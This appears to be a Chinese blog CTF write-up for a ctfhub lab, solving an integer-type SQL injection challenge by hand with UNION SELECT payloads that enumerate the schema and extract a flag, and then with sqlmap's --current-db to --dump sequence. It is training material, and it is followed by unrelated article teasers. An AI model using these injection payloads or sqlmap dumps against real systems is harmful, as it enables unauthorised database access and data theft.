2025.1.15——六、SQL结构【❤sqlmap❤】

server/2025/1/20 17:43:05/

题目来源:ctfhub技能树

目录

一、打开靶机,整理已知信息

二、手工注入解题

step 1:查看注入类型

step 2:order by语句判断字段数

step 3:爆数据库

step 4:爆表名

step 5:爆列名

step 6:爆具体数据

sqlmap%E8%A7%A3%E9%A2%98%E2%80%94%E2%80%94%E5%9B%9B%E6%AD%A5%E8%B5%B0-toc" name="tableOfContents" style="margin-left:0px">三、sqlmap解题——四步走

step 1:--current-db

step 2:-D 数据库名 --tables

​step 3:-D 数据库名 -T 表名 --columns

step 4:-D 数据库名 -T 表名 -C 列名 --dump


一、打开靶机,整理已知信息

        查看页面信息,提示”MySQL结构”,所以为sql注入,两种思路:①手工注入;②sqlmap

二、手工注入解题

step 1:查看注入类型

键入:1

键入:1'键入:1''

键入:1 and 1=2 #

键入:1 and 1=1 #

由回显可得本题为整数型注入

step 2:order by语句判断字段数

键入:1 order by 2 #(根据经验,陌生题可使用二分法)

step 3:爆数据库

sql">1 and 1=2 union select database(),database() #

step 4:爆表名

sql">1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli' #

出现了奇怪的东西,继续看

step 5:爆列名

sql">1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='lcwaabhcjo' #

东西应该就在这里

step 6:爆具体数据

sql">1 and 1=2 union select 1,zrlcbgazoj from sqli.lcwaabhcjo #

得到flag

sqlmap%E8%A7%A3%E9%A2%98%E2%80%94%E2%80%94%E5%9B%9B%E6%AD%A5%E8%B5%B0" name="%E4%B8%89%E3%80%81sqlmap%E8%A7%A3%E9%A2%98%E2%80%94%E2%80%94%E5%9B%9B%E6%AD%A5%E8%B5%B0">三、sqlmap解题——四步走

step 1:--current-db

step 2:-D 数据库名 --tables

step 3:-D 数据库名 -T 表名 --columns

step 4:-D 数据库名 -T 表名 -C 列名 --dump

得到flag。【sqlmap——YYDS】


http://www.ppmy.cn/server/159946.html

相关文章

使用 Hadoop 实现大数据的高效存储与查询

💖 欢迎来到我的博客! 非常高兴能在这里与您相遇。在这里,您不仅能获得有趣的技术分享,还能感受到轻松愉快的氛围。无论您是编程新手,还是资深开发者,都能在这里找到属于您的知识宝藏,学习和成长…

Android 13 动态显示隐藏 HomeButton,RecentsButton

com.android.launcher3.taskbar.NavbarButtonsViewController.initButtons mEnabledValue状态<T> StatePropertyHolder(T target, IntPredicate enabledCondition,Property<T, Float> property, float enabledValue, float disabledValue) {mEnableCondition = ena…

SpringBoot中Get请求和POST请求接收参数详解

1、Get请求 1.1 方法形参接收参数 这种方式一般适用参数比较少的情况&#xff0c;并且前后端参数名称必须保持一致 RestController RequestMapping(“/user”) Slf4j public class DemoController { GetMapping("/query") public void getStudent(String name,Strin…

如何使用C#与SQL Server数据库进行交互

一.创建数据库 用VS 创建数据库的步骤&#xff1a; 1.打开vs&#xff0c;创建一个新项目&#xff0c;分别在搜素框中选择C#、Windows、桌面&#xff0c;然后选择Windows窗体应用(.NET Framework) 2.打开“视图-服务器资源管理器”&#xff0c;右键单击“数据连接”&#xff0…

跨境电商使用云手机用来做什么呢?

随着跨境电商的发展&#xff0c;越来越多的卖家开始尝试使用云手机来协助他们的业务&#xff0c;这是因为云手机具有许多优势。那么&#xff0c;具体来说&#xff0c;跨境电商使用云手机可以做哪些事情呢&#xff1f; &#xff08;一&#xff09;实现多账号登录和管理 跨境电商…

设计模式-----单例设计模式

设计模式 https://www.runoob.com/ 这上面有很多东西很好。 设计模式&#xff08;Design pattern&#xff09;代表了最佳的实践&#xff0c;通常被有经验的面向对象的软件开发人员所采用。设计模式是软件开发人员在软件开发过程中面临的一般问题的解决方案。这些解决方案是众多…

python实现pdf转word和excel

一、引言   在办公中&#xff0c;我们经常遇收到pdf文件格式&#xff0c;因为pdf格式文件不易修改&#xff0c;当我们需要编辑这些pdf文件时&#xff0c;经常需要开通会员或收费功能才能使用编辑功能。今天&#xff0c;我要和大家分享的&#xff0c;是如何使用python编程实现…

面试反馈流程及模版

候选人优势 项目经验丰富有大型app经验和应急经验有前端研发经验 面试过程&#xff1a; 自我介绍10年毕业南京师范大学毕业项目经验丰富&#xff1b;微信开放平台&#xff1a; jsapi接口&#xff1b;jsapi如何传输大图片 图片压缩转base64,分多次去传,前端去拼接&#xff1b…